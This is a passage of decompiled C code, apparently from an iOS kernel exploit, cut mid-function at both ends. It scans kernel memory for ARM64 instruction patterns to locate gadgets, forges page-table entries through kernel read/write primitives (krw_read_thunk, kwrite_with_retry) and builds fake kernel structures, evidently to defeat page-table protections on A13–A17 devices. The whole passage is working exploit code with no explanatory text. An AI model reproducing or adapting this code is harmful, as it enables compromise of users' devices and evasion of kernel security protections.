                        (v76 << v77)
                      + (int)(((v74 >> 3) & 0xFFFFFFFC | (v74 >> 29) & 3) << 12)
                      + ((unsigned __int64)&v73[*(uint64_t *)(*(uint64_t *)(a1 + 7512) + 296LL)
                                              - *(uint64_t *)(*(uint64_t *)(a1 + 7512) + 328LL)]
                       & 0xFFFFFFFFFFFFF000LL),
                        inputStruct)) )
  {
    *((uint64_t *)v4 + 43) = 0;
    goto LABEL_26;
  }
  v220 = *(uint64_t *)inputStruct == -72;
  *((uint64_t *)v4 + 43) = *(uint64_t *)inputStruct + 72LL;
  if ( v220 )
    goto LABEL_26;
  v78 = *(uint64_t **)(a1 + 7512);
  v80 = (char *)v78[41];
  v79 = v78[42];
  v81 = (unsigned __int64)&v80[v79];
  if ( v80 >= &v80[v79] )
    goto LABEL_144;
  v82 = 0;
  while ( *(uint32_t *)&v80[v82] != -717500319 )
  {
    v82 += 4;
    if ( (unsigned __int64)&v80[v82] >= v81 )
      goto LABEL_144;
  }
  if ( (unsigned __int64)&v80[v82 + 4] >= v81 )
  {
LABEL_144:
    *((uint64_t *)v4 + 44) = 0;
    goto LABEL_26;
  }
  v92 = v78[37];
  *((uint64_t *)v4 + 44) = v92 + v82;
  if ( !(v92 + v82) )
    goto LABEL_26;
  *(uint64_t *)&v343 = 0xD65F03C0F8226801LL;
  *(uint64_t *)v316 = -1;
  v93 = scan_physmap_state_entries(a1, &v343, v316, 2u);
  if ( !v93 )
  {
    *((uint64_t *)v4 + 45) = 0;
    goto LABEL_26;
  }
  *((uint64_t *)v4 + 45) = v93 - v80 + v92;
  if ( !(v93 - v80 + v92) )
    goto LABEL_26;
  while ( 1 )
  {
    v94 = *(uint32_t *)v80;
    v80 += 4;
    if ( v94 == -1861991455 )
      break;
    v92 += 4;
    if ( (unsigned __int64)v80 >= v81 )
      goto LABEL_172;
  }
  if ( (unsigned __int64)v80 >= v81 )
  {
LABEL_172:
    *((uint64_t *)v4 + 46) = 0;
    goto LABEL_26;
  }
  *((uint64_t *)v4 + 46) = v92;
  if ( !v92 )
  {
LABEL_26:
    v1 = v7;
    goto LABEL_27;
  }
  v344[0] = 0;
  v343 = 0u;
  *(uint32_t *)((char *)v344 + 7) = 0;
  v98 = calloc(*(unsigned int *)(a1 + 384), 1u);
  if ( !v98 )
  {
LABEL_213:
    *((uint64_t *)v4 + 48) = 0;
    goto LABEL_26;
  }
  v99 = v98;
  v100 = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A17);
  if ( v100 )
    v101 = 0xFFFFFC200008C000LL;
  else
    v101 = 0xFFFFFFA00008C000LL;
  if ( v100 )
    v102 = 0xFFFFFC2000020000LL;
  else
    v102 = 0xFFFFFFA000020000LL;
  v103 = v102;
  do
  {
    v104 = read_pgtable_entry(a1, v103, 0, 0);
    if ( !v104 )
    {
      v106 = *(unsigned int *)(a1 + 384);
      *((uint8_t *)&v344[-2] + (v103 - v102) / v106) = -1;
      goto LABEL_169;
    }
    if ( (unsigned int)physmap_map_cached((struct_krwCtx *)a1, v104, (__int64)inputStruct) )
    {
LABEL_212:
      free(v99);
      goto LABEL_213;
    }
    v105 = *(unsigned int *)(a1 + 384);
    if ( !memcmp(*(const void **)inputStruct, v99, v105) )
      *((uint8_t *)&v344[-2] + (v103 - v102) / v105) = 1;
    physmap_unmap_cached(a1, (__int64)inputStruct);
    v106 = *(unsigned int *)(a1 + 384);
LABEL_169:
    v103 += v106;
  }
  while ( v103 < v101 );
  if ( BYTE13(v343) == 1 )
  {
    v107 = v102 + 13 * v106;
    free(v99);
    *((uint64_t *)v4 + 48) = v107;
    goto LABEL_191;
  }
  v115 = 0;
  while ( v115 != 13 )
  {
    v116 = *((unsigned __int8 *)&v343 + v115++ + 14);
    if ( v116 == 1 )
    {
      v117 = v115 + 13;
      goto LABEL_190;
    }
  }
  v117 = 12;
  while ( *((uint8_t *)&v344[-2] + v117) != 1 )
  {
    if ( !--v117 )
      goto LABEL_212;
  }
LABEL_190:
  v118 = v102 + v117 * v106;
  free(v99);
  *((uint64_t *)v4 + 48) = v118;
  if ( !v118 )
    goto LABEL_26;
LABEL_191:
  v119 = *(uint64_t **)(a1 + 7512);
  v343 = xmmword_43080;
  LODWORD(v344[0]) = 335544320;
  *(__int128 *)v316 = xmmword_43090;
  *(uint32_t *)&v316[16] = -67108864;
  v120 = scan_physmap_state_entries(a1, &v343, v316, 5u);
  if ( !v120 )
  {
    *((uint64_t *)v4 + 51) = 0;
    goto LABEL_26;
  }
  v121 = v119[41];
  v122 = v119[37];
  v123 = &v120[v122 - v121];
  v125 = *((uint32_t *)v120 + 1);
  v124 = v120 + 4;
  v126 = ((unsigned __int64)v125 >> 3) & 0x1FFFFC;
  v127 = ((unsigned __int64)v125 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL;
  if ( (((unsigned __int64)v125 >> 3) & 0x100000) != 0 )
    v128 = v127;
  else
    v128 = v126;
  v129 = (unsigned __int64)&v124[v122 - v121 + v128];
  if ( !(unsigned int)lookup_sptm_state_entry(a1, v129, (uint64_t *)v4 + 52) && krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A13) )
    v119[56] = v129;
  *((uint64_t *)v4 + 51) = v123;
  if ( !v123 || !*((uint64_t *)v4 + 52) || krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A13) && !*((uint64_t *)v4 + 56) )
    goto LABEL_26;
  *(uint64_t *)inputStruct = 0xD5033FDFD5033F9FLL;
  *(uint32_t *)&inputStruct[8] = -698416192;
  *(uint64_t *)&v343 = -1;
  DWORD2(v343) = -1;
  v130 = scan_physmap_state_entries(a1, inputStruct, &v343, 3u);
  if ( !v130 )
  {
    *((uint64_t *)v4 + 53) = 0;
    goto LABEL_26;
  }
  v131 = *(uint64_t **)(a1 + 7512);
  v132 = (char *)v131[41];
  v133 = v131[37];
  *((uint64_t *)v4 + 53) = v130 - v132 + v133;
  if ( !(v130 - v132 + v133) )
    goto LABEL_26;
  v134 = &v132[v131[42]];
  if ( v132 >= v134 )
    goto LABEL_249;
  while ( 1 )
  {
    v135 = *(uint32_t *)v132;
    v132 += 4;
    if ( v135 == 335544320 )
      break;
    v133 += 4;
    if ( v132 >= v134 )
      goto LABEL_249;
  }
  if ( v132 >= v134 )
  {
LABEL_249:
    *((uint64_t *)v4 + 54) = 0;
    goto LABEL_26;
  }
  *((uint64_t *)v4 + 54) = v133;
  if ( !v133 )
    goto LABEL_26;
  if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A13_A14_MASK) )
    goto LABEL_221;
  v343 = xmmword_430A0;
  *(uint64_t *)v316 = -1;
  *(uint64_t *)&v316[8] = -1;
  v137 = scan_physmap_state_entries(a1, &v343, v316, 4u);
  if ( !v137 )
  {
    *((uint64_t *)v4 + 55) = 0;
    goto LABEL_26;
  }
  v138 = &v137[*(uint64_t *)(*(uint64_t *)(a1 + 7512) + 296LL) - *(uint64_t *)(*(uint64_t *)(a1 + 7512) + 328LL)];
  *((uint64_t *)v4 + 55) = v138;
  if ( !v138 )
    goto LABEL_26;
LABEL_221:
  if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A13) )
    goto LABEL_269;
  *(__int128 *)inputStruct = xmmword_430B0;
  *(uint64_t *)&inputStruct[16] = 3573563583LL;
  v343 = xmmword_430C0;
  v344[0] = 0xFFFFFFFFLL;
  v139 = scan_physmap_state_entries(a1, inputStruct, &v343, 6u);
  if ( !v139 )
  {
    *((uint64_t *)v4 + 60) = 0;
    goto LABEL_26;
  }
  v140 = *(unsigned int *)v139;
  v141 = (v140 >> 3) & 0x1FFFFC | (v140 >> 29) & 3;
  if ( ((v140 >> 3) & 0x100000) != 0 )
    v141 |= 0xFFFFFFFFFFF00000LL;
  v142 = *(uint64_t *)(a1 + 7512);
  v143 = *(uint64_t *)(v142 + 328);
  v144 = *(uint64_t *)(v142 + 296);
  v145 = &v139[v144 - v143 + v141];
  if ( (unsigned int)v140 >> 5 == 111724032 )
  {
LABEL_230:
    v149 = *((uint32_t *)v139 - 2);
    v148 = v139 - 8;
    v150 = ((unsigned __int64)v149 >> 3) & 0x1FFFFC | ((unsigned __int64)v149 >> 29) & 3;
    v151 = v150 | 0xFFFFFFFFFFF00000LL;
    if ( (((unsigned __int64)v149 >> 3) & 0x100000) == 0 )
      v151 = v150;
    *((uint64_t *)v4 + 57) = &v148[v144 - v143 + v151];
  }
  else
  {
    v146 = 0;
    while ( (uint32_t)v146 != 112 )
    {
      v147 = *(uint32_t *)&v139[v146 + 4] & 0xFFFFFFE0;
      v146 += 4;
      if ( v147 == -719798272 )
      {
        v139 += v146;
        goto LABEL_230;
      }
    }
  }
  *((uint64_t *)v4 + 60) = v145;
  if ( !v145 || !*((uint64_t *)v4 + 57) )
    goto LABEL_26;
  *(uint64_t *)&v343 = 0xD65F03C000201421LL;
  *(uint64_t *)v316 = -1;
  v152 = scan_physmap_state_entries(a1, &v343, v316, 2u);
  if ( !v152 )
  {
    *((uint64_t *)v4 + 58) = 0;
    goto LABEL_26;
  }
  v153 = *(uint64_t *)(v142 + 296);
  *((uint64_t *)v4 + 58) = &v152[v153 - v143];
  if ( !&v152[v153 - v143] )
    goto LABEL_26;
  v343 = xmmword_430D0;
  LODWORD(v344[0]) = 683767869;
  *(__int128 *)v316 = xmmword_430E0;
  *(uint32_t *)&v316[16] = -1;
  v154 = scan_physmap_state_entries(a1, &v343, v316, 5u);
  if ( !v154 )
  {
    *((uint64_t *)v4 + 59) = 0;
    goto LABEL_26;
  }
  *((uint64_t *)v4 + 59) = &v154[v153 - v143];
  if ( !&v154[v153 - v143] )
    goto LABEL_26;
  *(uint64_t *)&v343 = 0x201400A8C17BFDLL;
  *(uint64_t *)v316 = -1;
  v155 = scan_physmap_state_entries(a1, &v343, v316, 2u);
  if ( !v155 )
  {
    *((uint64_t *)v4 + 61) = 0;
    goto LABEL_26;
  }
  *((uint64_t *)v4 + 61) = &v155[v153 - v143];
  if ( !&v155[v153 - v143] )
    goto LABEL_26;
  v343 = xmmword_430F0;
  *(uint64_t *)v316 = -1;
  *(uint64_t *)&v316[8] = -1;
  v156 = scan_physmap_state_entries(a1, &v343, v316, 4u);
  if ( !v156 )
  {
    *((uint64_t *)v4 + 62) = 0;
    goto LABEL_26;
  }
  *((uint64_t *)v4 + 62) = &v156[v153 - v143];
  if ( !&v156[v153 - v143] )
    goto LABEL_26;
  *(uint64_t *)inputStruct = 3577217186LL;
  *(uint32_t *)&inputStruct[8] = -1442839579;
  *(uint64_t *)&v343 = 0xFFFFFFFFLL;
  DWORD2(v343) = -1;
  v157 = scan_physmap_state_entries(a1, inputStruct, &v343, 3u);
  if ( !v157
    || ((v158 = v157,
         v159 = (unsigned __int64 *)(v4 + 130),
         v160 = *((unsigned int *)v157 + 4),
         ((v160 >> 3) & 0x100000) != 0)
      ? (v161 = (v160 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL)
      : (v161 = (v160 >> 3) & 0x1FFFFC),
        v162 = (unsigned __int64)&v157[v153 - v143 + 16 + v161],
        *v159 = v162,
        (unsigned int)lookup_sptm_state_entry(a1, v162, (uint64_t *)v4 + 65)) )
  {
    *((uint64_t *)v4 + 63) = 0;
    goto LABEL_26;
  }
  v163 = &v158[v153 - v143];
  *((uint64_t *)v4 + 63) = v163;
  if ( !v163 || !*v159 )
    goto LABEL_26;
  v343 = xmmword_43100;
  LODWORD(v344[0]) = -700514048;
  *(__int128 *)v316 = xmmword_43110;
  *(uint32_t *)&v316[16] = -1;
  v164 = scan_physmap_state_entries(a1, &v343, v316, 5u);
  if ( !v164 )
  {
    *((uint64_t *)v4 + 64) = 0;
    goto LABEL_26;
  }
  v165 = *(uint64_t *)(a1 + 7512);
  v166 = *(uint64_t *)(v165 + 328);
  v167 = *(uint64_t *)(v165 + 296);
  *((uint64_t *)v4 + 64) = &v164[v167 - v166];
  if ( !&v164[v167 - v166] )
    goto LABEL_26;
  v343 = xmmword_43120;
  *(__int128 *)v316 = xmmword_43130;
  v168 = scan_physmap_state_entries(a1, &v343, v316, 4u);
  if ( !v168
    || ((v170 = *((uint32_t *)v168 + 1),
         v169 = v168 + 4,
         v171 = ((unsigned __int64)v170 >> 3) & 0x1FFFFC,
         v172 = ((unsigned __int64)v170 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL,
         (((unsigned __int64)v170 >> 3) & 0x100000) != 0)
      ? (v173 = v172)
      : (v173 = v171),
        *(uint64_t *)inputStruct = &v169[v167 - v166 + v173],
        (unsigned int)lookup_sptm_state_entry(a1, *(unsigned __int64 *)inputStruct, inputStruct)) )
  {
    *((uint64_t *)v4 + 66) = 0;
    goto LABEL_26;
  }
  v174 = *(uint64_t *)inputStruct;
  *((uint64_t *)v4 + 66) = *(uint64_t *)inputStruct;
  if ( !v174 )
    goto LABEL_26;
  *(__int128 *)(v4 + 134) = xmmword_43140;
  *(__int128 *)(v4 + 138) = xmmword_43150;
  *(__int128 *)(v4 + 142) = xmmword_43160;
  *((uint64_t *)v4 + 73) = 0xFFFFFFF002018000LL;
LABEL_269:
  v175 = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A17);
  v176 = 0xFFFFFC2000000000LL;
  if ( !v175 )
    v176 = 0xFFFFFFA000000000LL;
  v177 = vdup_n_s32(!v175);
  v178.i64[0] = v177.u32[0];
  v178.i64[1] = v177.u32[1];
  *((uint64_t *)v4 + 47) = v176;
  *(int8x16_t *)(v4 + 98) = vbslq_s8(
                              v178.i64[0] ? (int8x16_t){ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 } : (int8x16_t){ 0 },
                              (int8x16_t)xmmword_43180,
                              (int8x16_t)xmmword_43170);
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 41), *((uint64_t *)v4 + 42));
  *((uint64_t *)v4 + 41) = 0;
  *((uint64_t *)v4 + 42) = 0;
  v1 = get_pgtable_walk_result((struct_krwCtx *)a1, *((uint64_t *)v4 + 48), (uint64_t *)v4 + 75);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v1 = get_pgtable_walk_result((struct_krwCtx *)a1, *((uint64_t *)v4 + 47), (uint64_t *)v4 + 85);
  if ( (uint32_t)v1 )
    goto LABEL_27;
  v1 = 708617;
  v179 = *(uint64_t **)(a1 + 7512);
  LODWORD(size[0]) = 0x4000;
  v180 = alloc_physmap_page(a1, (unsigned int *)size);
  if ( !v180 )
    goto LABEL_27;
  v181 = v180;
  pgtable_walk_wrapper(a1, v180 & ~*(uint64_t *)(a1 + 392), (__int64)src_address);
  v182 = 0xFFFFFFFFLL;
  if ( !v183 || (v184 = src_address[4] & 0xFFFFFFFFC000LL, (src_address[4] & 0xFFFFFFFFC000LL) == 0) )
  {
LABEL_318:
    map_shared_mem_and_transfer_data(a1, v181, LODWORD(size[0]));
    v1 = v182;
    goto LABEL_27;
  }
  if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A13) )
    v185 = alloc_physmap_scratch_page(a1, size);
  else
    v185 = alloc_physmap_page(a1, (unsigned int *)size);
  v186 = v185;
  if ( !v185 )
  {
    v182 = 708617;
    goto LABEL_318;
  }
  pgtable_walk_wrapper(a1, v185 & ~*(uint64_t *)(a1 + 392), (__int64)src_address);
  v182 = 0xFFFFFFFFLL;
  if ( !v187 )
    goto LABEL_317;
  v188 = src_address[4] & 0xFFFFFFFFC000LL;
  if ( (src_address[4] & 0xFFFFFFFFC000LL) == 0 )
    goto LABEL_317;
  v300 = alloc_physmap_page(a1, (unsigned int *)size);
  if ( !v300 )
  {
    v182 = 708617;
LABEL_317:
    map_shared_mem_and_transfer_data(a1, v186, LODWORD(size[0]));
    goto LABEL_318;
  }
  pgtable_walk_wrapper(a1, v300, (__int64)&v343);
  if ( !v189 )
  {
    v182 = 0xFFFFFFFFLL;
LABEL_316:
    map_shared_mem_and_transfer_data(a1, v300, LODWORD(size[0]));
    goto LABEL_317;
  }
  *(uint64_t *)v295 = v343;
  if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v343, 8, target_address) )
  {
    v182 = 163855;
    goto LABEL_316;
  }
  pgtable_walk_wrapper(a1, *(uint64_t *)v295 & ~*(uint64_t *)(a1 + 392), (__int64)src_address);
  v182 = 0xFFFFFFFFLL;
  if ( !v190 )
    goto LABEL_316;
  v288 = src_address[4];
  if ( (src_address[4] & 0xFFFFFFFFC000LL) == 0 )
    goto LABEL_316;
  v290 = alloc_physmap_page(a1, (unsigned int *)size);
  if ( !v290 )
  {
    v182 = 708617;
    goto LABEL_316;
  }
  pgtable_walk_wrapper(a1, v290, (__int64)&v343);
  if ( !v191 )
  {
    v182 = 0xFFFFFFFFLL;
    goto LABEL_315;
  }
  pgtable_walk_wrapper(a1, v343 & ~*(uint64_t *)(a1 + 392), (__int64)src_address);
  v182 = 0xFFFFFFFFLL;
  if ( !v192 || (v287 = src_address[4] & 0xFFFFFFFFC000LL, (src_address[4] & 0xFFFFFFFFC000LL) == 0) )
  {
LABEL_315:
    map_shared_mem_and_transfer_data(a1, v290, LODWORD(size[0]));
    goto LABEL_316;
  }
  if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v179[74], 64, inputStruct) )
  {
    v182 = 163855;
    goto LABEL_315;
  }
  if ( !(unsigned int)kwrite_with_retry(a1, v181, (__int64)inputStruct, 64)
    || (*(uint64_t *)v316 = v188 | 3, !(unsigned int)kwrite_with_retry(a1, v181 + 56, (__int64)v316, 8))
    || (address[0] = v288 & 0xFFFFFE000000LL | 0x20000000000445LL,
        !(unsigned int)kwrite_with_retry(a1, v186, (__int64)address, 8)) )
  {
    v182 = 163856;
    goto LABEL_315;
  }
  v193 = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A17);
  v194 = 0xFFFFFC7000000000LL;
  if ( !v193 )
    v194 = 0xFFFFFFF000000000LL;
  v286 = v194;
  if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A14) )
  {
    v195 = alloc_physmap_scratch_page(a1, size);
    if ( v195 )
    {
      v196 = v195;
      pgtable_walk_wrapper(a1, v195 & ~*(uint64_t *)(a1 + 392), (__int64)src_address);
      v182 = 0xFFFFFFFFLL;
      if ( v197 )
      {
        v285 = src_address[4] & 0xFFFFFFFFC000LL;
        if ( (src_address[4] & 0xFFFFFFFFC000LL) != 0 )
        {
          read_pgtable_entry(a1, v179[50], &outputStruct, 1);
          if ( outputStruct )
          {
            pgtable_walk_wrapper(a1, outputStruct & ~*(uint64_t *)(a1 + 392), (__int64)src_address);
            v182 = 0xFFFFFFFFLL;
            if ( v198 )
            {
              v284 = src_address[4];
              if ( (src_address[4] & 0xFFFFFFFFC000LL) != 0 )
              {
                address[0] = src_address[4] & 0xFFFFFE000000LL | 0x20000000000445LL;
                if ( (unsigned int)kwrite_with_retry(a1, v186 + 8, (__int64)address, 8) )
                {
                  if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, outputStruct, 8, input) )
                  {
                    v199 = input[0] & 0xFFFF000000003FFFLL | v285;
                    v200 = *(uint64_t *)(a1 + 392);
                    v179[102] = (v286 | v284 & 0x1FFC000 | 0x2000000) + (v200 & outputStruct);
                    v179[103] = v199;
                    goto LABEL_320;
                  }
                  v182 = 163855;
                }
                else
                {
                  v182 = 163856;
                }
              }
            }
          }
          else
          {
            v182 = 0xFFFFFFFFLL;
          }
        }
      }
      map_shared_mem_and_transfer_data(a1, v196, LODWORD(size[0]));
    }
    else
    {
      v182 = 708617;
    }
    goto LABEL_315;
  }
  v200 = *(uint64_t *)(a1 + 392);
LABEL_320:
  v201 = target_address[0] & 0xFFFF000000003FFFLL | v287;
  v179[95] = v184;
  v179[96] = v181;
  v179[97] = v186;
  v179[98] = v286;
  v179[99] = *(uint64_t *)v295;
  v179[100] = (v286 | v288 & 0x1FFC000) + (v200 & *(uint64_t *)v295);
  v179[101] = v201;
  v179[162] = ((v290 >> 11) & 0x3FF8) + v300;
  v179[163] = v290;
  if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A13) )
  {
LABEL_382:
    v232 = krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A13);
    v233 = *(uint64_t *)(a1 + 7512);
    v234 = *(uint64_t **)(v233 + 600);
    v235 = *(uint64_t *)(v233 + 608);
    if ( v232 )
    {
      if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
        v236 = 832;
      else
        v236 = 848;
      v1 = physmap_map_cached((struct_krwCtx *)a1, 0x23B080000uLL, (__int64)inputStruct);
      if ( (uint32_t)v1 )
        goto LABEL_431;
      v303 = *(uint64_t *)inputStruct;
      v237 = *(uint64_t *)(v233 + 936);
      v294 = *(uint64_t **)(v233 + 1104);
      *(uint64_t *)v299 = *(uint64_t *)(v233 + 992);
      v238 = *(uint32_t *)(a1 + 384);
      v1 = lookup_sptm_state_entry(a1, *(uint64_t *)(v233 + 344), src_address);
      if ( (uint32_t)v1 )
        goto LABEL_430;
      v239 = src_address[0];
      v240 = (char *)v234 + LOBYTE(src_address[0]);
      v241 = v240 + 3072;
      v242 = v235 + LOBYTE(src_address[0]) + 3072;
      v243 = 12800LL - LOBYTE(src_address[0]);
      v244 = *(uint64_t *)(v233 + 880);
      v234[1984] = *(uint64_t *)(v233 + 368);
      v234[1985] = 964;
      v234[2009] = v242 + 5 * v236;
      v234[2010] = *(uint64_t *)(v233 + 480);
      v234[2011] = v239;
      *((uint64_t *)v240 + 384) = *(uint64_t *)(v233 + 376);
      *((uint64_t *)v240 + 386) = 0;
      *((uint64_t *)v240 + 385) = 0;
      *((uint64_t *)v240 + 414) = *(uint64_t *)(v233 + 368);
      *((uint64_t *)v240 + 415) = v242 + v236;
      if ( *(uint8_t *)v233 )
        v245 = *(uint64_t *)(v233 + 360);
      else
        v245 = *(uint64_t *)(v233 + 360) + 4LL;
      *((uint64_t *)v240 + 416) = v245;
      *(__int128 *)(v240 + 3336) = xmmword_431D0;
      *((uint64_t *)v240 + 419) = 16;
      v246 = &v241[v236];
      *(uint64_t *)v246 = *(uint64_t *)(v233 + 848);
      *((uint64_t *)v246 + 30) = *(uint64_t *)(v233 + 368);
      *((uint64_t *)v246 + 32) = *(uint64_t *)(v233 + 464);
      *(__int128 *)&v241[v236 + 264] = xmmword_431D0;
      *((uint64_t *)v246 + 35) = 16;
      v247 = (__int64)&v241[v236 + v236];
      *(uint64_t *)v247 = *(uint64_t *)(v233 + 448);
      *(uint64_t *)(v247 + 8) = *(uint64_t *)(v233 + 864);
      *(uint64_t *)(v247 + 16) = 0;
      *(uint64_t *)(v247 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v247 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v247 + 264) = xmmword_431D0;
      *(uint64_t *)(v247 + 280) = 16;
      v248 = v247 + v236;
      *(uint64_t *)v248 = *(uint64_t *)(v233 + 344);
      *(uint64_t *)(v248 + 8) = v239;
      *(uint64_t *)(v248 + 16) = 0;
      *(uint64_t *)(v248 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v248 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v248 + 264) = xmmword_431D0;
      *(uint64_t *)(v248 + 280) = 16;
      v249 = (uint64_t *)(v248 + v236);
      *v249 = *(uint64_t *)(v233 + 832) + 224LL;
      v249[30] = *(uint64_t *)(v233 + 432);
      v249[32] = *(uint64_t *)(v233 + 472);
      *(__int128 *)(v248 + v236 + 264) = xmmword_431D0;
      v249[35] = 16;
      v250 = v248 + v236 + v236;
      *(uint64_t *)v250 = 0;
      *(uint64_t *)(v250 + 256) = *(uint64_t *)(v233 + 352);
      *(__int128 *)(v250 + 264) = xmmword_431E0;
      *(uint64_t *)(v250 + 280) = 16;
      if ( v236 - (__int64)v241 + v250 > v243 )
      {
        v1 = 0xFFFFFFFFLL;
        goto LABEL_430;
      }
      v269 = (uint64_t *)(*(uint64_t *)v299 + (unsigned int)(v238 - 16));
      *(uint64_t *)v244 = *(uint64_t *)(v233 + 552) + 224LL;
      *(uint64_t *)(v244 + 8) = *(uint64_t *)(v233 + 416) + 224LL;
      *(uint64_t *)(v244 + 16) = 56;
      *(uint64_t *)(v244 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v244 + 256) = *(uint64_t *)(v233 + 496);
      *(__int128 *)(v244 + 264) = xmmword_431D0;
      *(uint64_t *)(v244 + 280) = 16;
      v270 = v244 + v236;
      *(uint64_t *)v270 = *(uint64_t *)(v233 + 552) + 264LL;
      *(uint64_t *)(v270 + 8) = *(uint64_t *)(v233 + 760);
      *(uint64_t *)(v270 + 16) = 0;
      *(uint64_t *)(v270 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v270 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v270 + 264) = xmmword_431D0;
      *(uint64_t *)(v270 + 280) = 16;
      v271 = v270 + v236;
      *(uint64_t *)v271 = *(uint64_t *)(v233 + 520);
      *(uint64_t *)(v271 + 8) = *(uint64_t *)(v233 + 552);
      *(uint64_t *)(v271 + 16) = 0;
      *(uint64_t *)(v271 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v271 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v271 + 264) = xmmword_431D0;
      *(uint64_t *)(v271 + 280) = 16;
      v272 = v271 + v236;
      *(uint64_t *)v272 = 0;
      *(uint64_t *)(v272 + 240) = *(uint64_t *)(v233 + 432);
      *(uint64_t *)(v272 + 256) = *(uint64_t *)(v233 + 352);
      *(__int128 *)(v272 + 264) = xmmword_431E0;
      *(uint64_t *)(v272 + 280) = 16;
      *v294 = *(uint64_t *)(v233 + 504);
      v294[1] = 0;
      *(uint64_t *)v237 = *(uint64_t *)(v233 + 856);
      *(uint64_t *)(v237 + 160) = 0;
      *(uint64_t *)(v237 + 224) = *(uint64_t *)(v233 + 584) - 8LL;
      *(uint64_t *)(v237 + 240) = *(uint64_t *)(v233 + 432);
      *(uint64_t *)(v237 + 256) = *(uint64_t *)(v233 + 464);
      *(__int128 *)(v237 + 264) = xmmword_431E0;
      *(uint64_t *)(v237 + 280) = 16;
      *v269 = 0;
      v269[1] = *(uint64_t *)(v233 + 368);
      v273 = *(uint64_t *)(v233 + 1048);
      *(uint64_t *)v273 = *(uint64_t *)(v233 + 448);
      *(uint64_t *)(v273 + 8) = *(uint64_t *)(v233 + 416);
      *(uint64_t *)(v273 + 16) = 0;
      *(uint64_t *)(v273 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v273 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v273 + 264) = xmmword_431D0;
      *(uint64_t *)(v273 + 280) = 16;
      v274 = v273 + v236;
      *(uint64_t *)v274 = *(uint64_t *)(v233 + 520);
      *(uint64_t *)(v274 + 8) = *(uint64_t *)(v233 + 416);
      *(uint64_t *)(v274 + 16) = 0;
      *(uint64_t *)(v274 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v274 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v274 + 264) = xmmword_431D0;
      *(uint64_t *)(v274 + 280) = 16;
      v275 = v274 + v236;
      *(uint64_t *)v275 = *(uint64_t *)(v233 + 544);
      *(uint64_t *)(v275 + 8) = *(uint64_t *)(v233 + 872);
      *(uint64_t *)(v275 + 16) = 0;
      *(uint64_t *)(v275 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v275 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v275 + 264) = xmmword_431D0;
      *(uint64_t *)(v275 + 280) = 16;
      v276 = v275 + v236;
      *(uint64_t *)(v276 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v276 + 256) = *(uint64_t *)(v233 + 440);
      *(__int128 *)(v276 + 264) = xmmword_431D0;
      *(uint64_t *)(v276 + 280) = 16;
      v277 = v276 + v236;
      *(uint64_t *)v277 = *(uint64_t *)(v233 + 800);
      *(uint64_t *)(v277 + 8) = *(uint64_t *)(v233 + 808);
      *(uint64_t *)(v277 + 16) = 0;
      *(uint64_t *)(v277 + 240) = *(uint64_t *)(v233 + 368);
      *(uint64_t *)(v277 + 256) = *(uint64_t *)(v233 + 360);
      *(__int128 *)(v277 + 264) = xmmword_431D0;
      *(uint64_t *)(v277 + 280) = 16;
      v278 = v277 + v236;
      *(uint64_t *)v278 = *(uint64_t *)(v233 + 416) + 224LL;
      *(uint64_t *)(v278 + 16) = 0;
      *(uint64_t *)(v278 + 240) = *(uint64_t *)(v233 + 432);
      *(uint64_t *)(v278 + 256) = *(uint64_t *)(v233 + 472);
      *(__int128 *)(v278 + 264) = xmmword_431D0;
      *(uint64_t *)(v278 + 280) = 16;
      if ( *(uint8_t *)v233 )
      {
        v279 = v242 >> 8;
      }
      else
      {
        v279 = v242 >> 8;
        if ( !(unsigned int)get_kernel_version_build_0(a1, *(uint64_t *)(v233 + 344) + 1LL, v242 >> 8) )
        {
LABEL_417:
          if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)(v233 + 792), 8, &v343) )
          {
LABEL_428:
            v1 = 163855;
            goto LABEL_430;
          }
          v280 = 0;
          while ( 1 )
          {
            if ( (uint64_t)v343 == *(uint64_t *)(v233 + 808) )
            {
              v1 = 0;
LABEL_430:
              physmap_unmap_cached(a1, (__int64)inputStruct);
              goto LABEL_431;
